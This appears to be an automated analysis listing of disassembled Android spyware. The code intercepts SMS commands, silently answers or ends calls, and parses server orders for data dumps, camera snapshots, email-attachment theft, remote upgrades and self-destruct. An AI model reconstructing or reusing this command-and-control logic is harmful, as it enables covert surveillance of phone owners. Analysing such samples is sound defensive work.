      281invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      282move-result-object v5
      284invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      286invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      287move-result v2
      289iget-object v5, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      291invoke-virtual {v5}, Ljava/lang/Integer;->intValue()I
      292move-result v5
      293if-gt v2, v5, :cond_1aa
      295const-string v2, "Other operation has occured on the sms db"
      297invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      298try_end_18d: goto/16 :goto_b0
      299catch_18f: move-exception v0
      300goto_190: new-instance v2, Ljava/lang/StringBuilder;
      302const-string v3, "Sms Listener Exception- "
      304invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      306invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      307move-result-object v3
      309invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      310move-result-object v2
      312invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      313move-result-object v2
      315invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      316try_end_1a6: if-eqz v1, :cond_37
      317goto/16 :goto_34
      318cond_1aa: if-ge v0, v2, :cond_1ad
      319move v0, v2
      320cond_1ad:
      321const-string v2, "body"
      323invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      324move-result v2
      326invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      327move-result-object v2
      329invoke-static {p1, v2}, Lcom/network/android/a/b;->a(Landroid/content/Context;Ljava/lang/String;)Z
      330move-result v2
      331new-instance v5, Ljava/lang/StringBuilder;
      333const-string v6, "Sms isOurCommand: "
      335invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      337invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      338move-result-object v5
      340invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      341move-result-object v5
      343invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      344if-nez v2, :cond_aa
      346invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      347move-result-object v5
      348new-instance v6, Ljava/io/StringWriter;
      350invoke-direct {v6}, Ljava/io/StringWriter;-><init>()V
      352invoke-static {v5, v6}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      354const-string v2, ""
      356const-string v7, "sms"
      358invoke-interface {v5, v2, v7}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      359if-ne v4, v10, :cond_205
      361const-string v2, "inbound"
      362goto_1e6:
      363invoke-static {v1, v5, v2}, Lcom/network/android/m;->a(Landroid/database/Cursor;Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;)Z
      365const-string v2, ""
      367const-string v4, "sms"
      369invoke-interface {v5, v2, v4}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      371invoke-static {v5}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      373invoke-virtual {v6}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      374move-result-object v2
      375const/4 v4, 0x0
      376const/4 v5, 0x0
      378invoke-static {p1, v2, v4, v5}, Lcom/network/android/j;->a(Landroid/content/Context;Ljava/lang/String;[Ljava/lang/String;[[B)V
      379try_end_1fc: goto/16 :goto_aa
      380catchall_1fe: move-exception v0
      381goto_1ff: if-eqz v1, :cond_204
      383invoke-interface {v1}, Landroid/database/Cursor;->close()V
      384cond_204: throw v0
      385try_start_205:
      386const-string v2, "outbound"
      387try_end_207: goto/16 :goto_1e6
      388catchall_208: move-exception v0
      389move-object v1, v6
      390goto/16 :goto_1ff
      391catch_20b: move-exception v0
      392move-object v1, v6
      393goto/16 :goto_190
      394cond_20e: move v2, v3
      395goto/16 :goto_59
      APIs
      • android.os.Binder.onTransact
      • android.os.Parcel.writeString
      • android.os.Parcel.enforceInterface
      • com.android.internal.telephony.ITelephony$Stub.answerRingingCall
      • android.os.Parcel.writeNoException
      • android.os.Parcel.enforceInterface
      • com.android.internal.telephony.ITelephony$Stub.silenceRinger
      • android.os.Parcel.writeNoException
      • android.os.Parcel.enforceInterface
      • com.android.internal.telephony.ITelephony$Stub.endCall
      • android.os.Parcel.writeNoException
      • android.os.Parcel.writeInt
      Strings
      • com.android.internal.telephony.ITelephony
      Position Instruction Meta Information
      0const/4 v1, 0x1
      1sparse-switch p1, :sswitch_data_3c
      3invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
      4move-result v1
      5goto_8: return v1
      6sswitch_9:
      7const-string v0, "com.android.internal.telephony.ITelephony"
      9invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
      10goto/16 :goto_8
      11sswitch_f:
      12const-string v0, "com.android.internal.telephony.ITelephony"
      14invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
      16invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->answerRingingCall()V
      18invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
      19goto/16 :goto_8
      20sswitch_1b:
      21const-string v0, "com.android.internal.telephony.ITelephony"
      23invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
      25invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->silenceRinger()V
      27invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
      28goto/16 :goto_8
      29sswitch_27:
      30const-string v0, "com.android.internal.telephony.ITelephony"
      32invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
      34invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->endCall()Z
      35move-result v0
      37invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
      38if-eqz v0, :cond_3a
      39move v0, v1
      40goto_36:
      41invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
      42goto/16 :goto_8
      43cond_3a: const/4 v0, 0x0
      44goto/16 :goto_36
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.Integer.parseInt
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.String.contains
      • java.lang.String.equals
      • java.lang.Integer.parseInt
      • java.lang.Integer.valueOf
      • java.util.Vector.add
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.add
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.util.Vector.add
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.util.Vector.add
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.util.Vector.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.os.HandlerThread.<init>
      • android.os.HandlerThread.start
      • android.os.HandlerThread.getLooper
      • android.os.Handler.<init>
      • android.os.Handler.post
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.post
      Strings
      • ParseResponseCommands startElement localName
      • response
      • code
      • message
      • token
      • id
      • startElement exception:
      • configuration
      • revision
      • command
      • monitor
      • dump
      • action
      • upgrade
      • url
      • pVersion
      • t1
      • t2
      • ParseResponseCommands startElement found upgrade. data. url:
      • t1:
      • t2:
      • pVersion:
      • ParseResponseCommands startElement Exception-
      • LOG_UPGRADE_PARAM_ARE_INVALID
      • cmds
      • mode
      • http
      • settingsCmd
      • ack
      • selfDestructTime
      • roamingBehaviour
      • ParseResponseCommands Roaming behavior
      • =>
      • pollInterval
      • debugLevel
      • ParseResponseCommands found wantedDebugLevel:
      • ParseResponseCommands found maxTimeWithNoCommunication:
      • ParseResponseCommands PollingManager pollingInterval seconds:
      • ParseResponseCommands mqtt exception:
      • LOG_CHANGE_SETTING_REQ_FAILED
      • ParseResponseCommands PollingManager pollingInterval NO pollingInterval:
      • addrs
      • ParseResponseCommands ADDRS
      • addr
      • ParseResponseCommands ADDR
      • host
      • port
      • http://
      • /support.aspx
      • callerIds
      • ParseResponseCommands CALLER_IDS
      • callerId
      • ParseResponseCommands CALLER_ID
      • messageFilters
      • ParseResponseCommands messagefilters
      • ParseResponseCommands messagefilters isSettingsCommand
      • messageFilter
      • ParseResponseCommands messagefilter
      • ParseResponseCommands messagefilter isSettingsBlocking
      • type
      • expression
      • ParseResponseCommands messagefilter type:
      • , exp:
      • sms
      • ParseResponseCommands add ussd exp:
      • ussd
      • both
      • moSms
      • ParseResponseCommands MO_SMS isSettingsMoSmss
      • ParseResponseCommands MO_SMS isSettingsCommand
      • mqttSrv
      • password
      • username
      • idPref
      • qos
      • kaTimer
      • recCount
      • con
      • recInt
      • ParseResponseCommands found MQTT Password:
      • username:
      • ParseResponseCommands found MQTT idPref:
      • qos:
      • ParseResponseCommands found MQTT kaTimer:
      • recInt:
      • MOSQ_ERR_INVAL
      • dumpCmd
      • dataTypes
      • ParseResponseCommands found dump command. running with bitwise
      • ParseResponseCommands dump command exception:
      • LOG_FAIL_BIG_DUMP
      • camCmd
      • source
      • res
      • ParseResponseCommands Camera. running with Source bitwise
      • resolution
      • LOG_CAMERA_SNAPSHOT_FAILED
      • emailAttCmd
      • emailRecordId
      • attRecordId
      • ParseResponseCommands get email attachment attRecordId:
      • , emailRecordId
      • getAttachmentFileCommandGmailThread
      • GET_ATTACHMENT_FAIL
      • ParseResponseCommands NOTHING
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1const/4 v2, 0x0
      2const/4 v0, 0x1
      3try_start_3: new-instance v3, Ljava/lang/StringBuilder;
      5const-string v4, "ParseResponseCommands startElement localName "
      7invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      9invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v3
      12invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      13move-result-object v3
      15invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      17const-string v3, "response"
      19invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      20move-result v3
      21if-eqz v3, :cond_32
      23const-string v0, "code"
      25invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      26move-result-object v0
      28invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      29move-result v0
      30iput v0, p0, Lcom/network/android/x;->a:I
      32const-string v0, "message"
      34invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      35move-result-object v0
      36iput-object v0, p0, Lcom/network/android/x;->b:Ljava/lang/String;
      37cond_31: return-void
      38cond_32:
      39const-string v3, "token"
      41invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      42move-result v3
      43if-eqz v3, :cond_5b
      45const-string v0, "id"
      47invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      48move-result-object v0
      49iput-object v0, p0, Lcom/network/android/x;->c:Ljava/lang/String;
      50try_end_42: goto/16 :goto_31
      51catch_43: move-exception v0
      52new-instance v1, Ljava/lang/StringBuilder;
      54const-string v2, "startElement exception: "
      56invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      58invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      59move-result-object v2
      61invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      62move-result-object v1
      64invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      65move-result-object v1
      67invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      68goto/16 :goto_31
      69cond_5b:
      70const-string v3, "configuration"
      72invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      73move-result v3
      74if-eqz v3, :cond_6f
      75const/4 v0, 0x1
      76iput-boolean v0, p0, Lcom/network/android/x;->F:Z
      78const-string v0, "revision"
      80invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      81move-result-object v0
      82sput-object v0, Lcom/network/android/x;->s:Ljava/lang/String;
      83goto/16 :goto_31
      84cond_6f:
      85const-string v3, "command"
      87invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      88move-result v3
      89if-eqz v3, :cond_7b
      90const/4 v0, 0x1
      91iput-boolean v0, p0, Lcom/network/android/x;->g:Z
      92goto/16 :goto_31
      93cond_7b:
      94const-string v3, "monitor"
      96invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      97move-result v3
      98if-eqz v3, :cond_8a
      99const/4 v0, 0x1
      100iput-boolean v0, p0, Lcom/network/android/x;->G:Z
      102invoke-static {}, Lcom/network/k/a/a;->a()V
      103goto/16 :goto_31
      104cond_8a:
      105const-string v3, "dump"
      107invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      108move-result v3
      109if-eqz v3, :cond_96
      110const/4 v0, 0x1
      111iput-boolean v0, p0, Lcom/network/android/x;->I:Z
      112goto/16 :goto_31
      113cond_96:
      114const-string v3, "action"
      116invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      117move-result v3
      118if-eqz v3, :cond_a2
      119const/4 v0, 0x1
      120iput-boolean v0, p0, Lcom/network/android/x;->H:Z
      121goto/16 :goto_31
      122cond_a2:
      123const-string v3, "upgrade"
      125invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      126try_end_a7: move-result v3
      127if-eqz v3, :cond_154
      128try_start_aa:
      129const-string v0, "url"
      131invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      132move-result-object v0
      133sput-object v0, Lcom/network/android/x;->t:Ljava/lang/String;
      135const-string v0, "pVersion"
      137invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      138move-result-object v0
      139sput-object v0, Lcom/network/android/x;->u:Ljava/lang/String;
      141const-string v0, "t1"
      143invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      144move-result-object v0
      146invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      147move-result v0
      148sput v0, Lcom/network/android/x;->v:I
      150const-string v0, "t2"
      152invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      153move-result-object v0
      155invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      156move-result v0
      157sput v0, Lcom/network/android/x;->w:I
      158new-instance v0, Ljava/lang/StringBuilder;
      160const-string v1, "ParseResponseCommands startElement found upgrade. data. url: "
      162invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      164sget-object v1, Lcom/network/android/x;->t:Ljava/lang/String;
      166invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      167move-result-object v0
      169const-string v1, " t1: "
      171invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v0
      173sget v1, Lcom/network/android/x;->v:I
      175invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      176move-result-object v0
      178const-string v1, " t2: "
      180invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      181move-result-object v0
      182sget v1, Lcom/network/android/x;->w:I
      184invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      185move-result-object v0
      187const-string v1, " pVersion: "
      189invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      190move-result-object v0
      192sget-object v1, Lcom/network/android/x;->u:Ljava/lang/String;
      194invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      195move-result-object v0
      197invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      198move-result-object v0
      200invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      202invoke-static {}, Lcom/network/h/j;->a()Z
      203move-result v0
      204if-nez v0, :cond_14a
      205sget v0, Lcom/network/android/x;->v:I
      206if-lez v0, :cond_14a
      207sget v0, Lcom/network/android/x;->w:I
      208if-ltz v0, :cond_14a
      210sget-object v0, Lcom/network/android/x;->t:Ljava/lang/String;
      211sget v1, Lcom/network/android/x;->v:I
      212sget v2, Lcom/network/android/x;->w:I
      214invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      215move-result-object v3
      217sget-object v4, Lcom/network/android/x;->u:Ljava/lang/String;
      219invoke-static {v0, v1, v2, v3, v4}, Lcom/network/h/j;->a(Ljava/lang/String;IILandroid/content/Context;Ljava/lang/String;)V
      220try_end_127: goto/16 :goto_31
      221catch_129: move-exception v0
      222try_start_12a: new-instance v1, Ljava/lang/StringBuilder;
      224const-string v2, "ParseResponseCommands startElement Exception- "
      226invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      228invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      229move-result-object v2
      231invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      232move-result-object v1
      234invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      235move-result-object v1
      237invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      238const/4 v0, 0x1
      239const/16 v1, 0x5e
      241const-string v2, "LOG_UPGRADE_PARAM_ARE_INVALID"
      243invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      244try_end_148: goto/16 :goto_31
      245cond_14a: const/4 v0, 0x1
      246const/16 v1, 0x5e
      247try_start_14d:
      248const-string v2, "LOG_UPGRADE_PARAM_ARE_INVALID"
      250invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      251try_end_152: goto/16 :goto_31
      252try_start_154:
      253const-string v3, "cmds"
      255invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      256move-result v3
      257if-eqz v3, :cond_171
      259const-string v0, "mode"
      261invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      262move-result-object v0
      263if-eqz v0, :cond_31
      265const-string v1, "http"
      267invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      268move-result v0
      269if-eqz v0, :cond_31
      270const/4 v0, 0x1
      271iput-boolean v0, p0, Lcom/network/android/x;->g:Z
      272goto/16 :goto_31
      273cond_171:
      274const-string v3, "settingsCmd"
      276invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      277move-result v3
      278if-eqz v3, :cond_29c
      279iget-boolean v3, p0, Lcom/network/android/x;->g:Z
      280try_end_17b: if-eqz v3, :cond_31
      281const/4 v3, 0x1
      282try_start_17e: iput-boolean v3, p0, Lcom/network/android/x;->h:Z
      284const-string v3, "ack"
      286invoke-interface {p4, v3}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      287move-result-object v1
      289const-string v3, "selfDestructTime"
      291invoke-interface {p4, v3}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      292move-result-object v3
      294invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      295move-result v3
      296if-nez v3, :cond_279
      297const/4 v3, 0x2
      299invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      300move-result-object v3
      302invoke-static {v3}, Lcom/network/b/b;->a(Ljava/lang/Integer;)V
      303goto_19a:
      304sget-object v3, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      306invoke-virtual {v3, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      308const-string v3, "roamingBehaviour"
      310invoke-interface {p4, v3}, Lorg/xml/sax/Attributes;->getIndex(Ljava/lang/String;)I
      311move-result v3
      312if-ltz v3, :cond_1dd
      314const-string v3, "roamingBehaviour"
      316invoke-interface {p4, v3}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      317move-result-object v3
      319invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      320move-result v3
      321if-eqz v3, :cond_286
      322goto_1b3:
      323invoke-static {v0}, Lcom/network/b/b;->a(Z)V
      325invoke-static {v3}, Lcom/network/b/b;->g(I)V
      326new-instance v0, Ljava/lang/StringBuilder;
      328const-string v2, "ParseResponseCommands Roaming behavior "
      330invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      332invoke-static {}, Lcom/network/b/b;->y()I
      333move-result v2
      335invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      336move-result-object v0
      338const-string v2, " => "
      340invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      341move-result-object v0
      343invoke-static {}, Lcom/network/b/b;->d()Z
      344move-result v2
      346invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      347move-result-object v0
      349invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      350move-result-object v0
      352invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      353cond_1dd:
      354const-string v0, "pollInterval"
      356invoke-interface {p4, v0}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      357move-result-object v0
      359const-string v2, "debugLevel"
      361invoke-interface {p4, v2}, Lorg/xml/sax/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
      362move-result-object v2
      364invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      365move-result v2
      366sput v2, Lcom/network/b/b;->A:I
      367new-instance v2, Ljava/lang/StringBuilder;
      369const-string v3, "ParseResponseCommands found wantedDebugLevel: "
      371invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      372sget v3, Lcom/network/b/b;->A:I
      374invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      375move-result-object v2
      377invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      378move-result-object v2
      380invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      381new-instance v2, Ljava/lang/StringBuilder;
      383const-string v3, "ParseResponseCommands found maxTimeWithNoCommunication: "
      385invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      387invoke-static {}, Lcom/network/b/b;->K()Ljava/lang/Integer;
      388move-result-object v3
      390invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      391move-result-object v2
      393invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      394move-result-object v2
      396invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      397if-eqz v0, :cond_289
      399invoke-virtual {v0}, Ljava/lang/String;->length()I
      400move-result v2
      401if-lez v2, :cond_289
      402new-instance v2, Ljava/lang/StringBuilder;
      404const-string v3, "ParseResponseCommands PollingManager pollingInterval seconds: "
      406invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      408invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      409move-result-object v2
      411invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      412move-result-object v2
      414invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      416iget-object v2, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      418invoke-static {v2, v0}, Lcom/network/g/a;->a(Landroid/content/Context;Ljava/lang/String;)V
      419goto_238: const/4 v0, 0x0
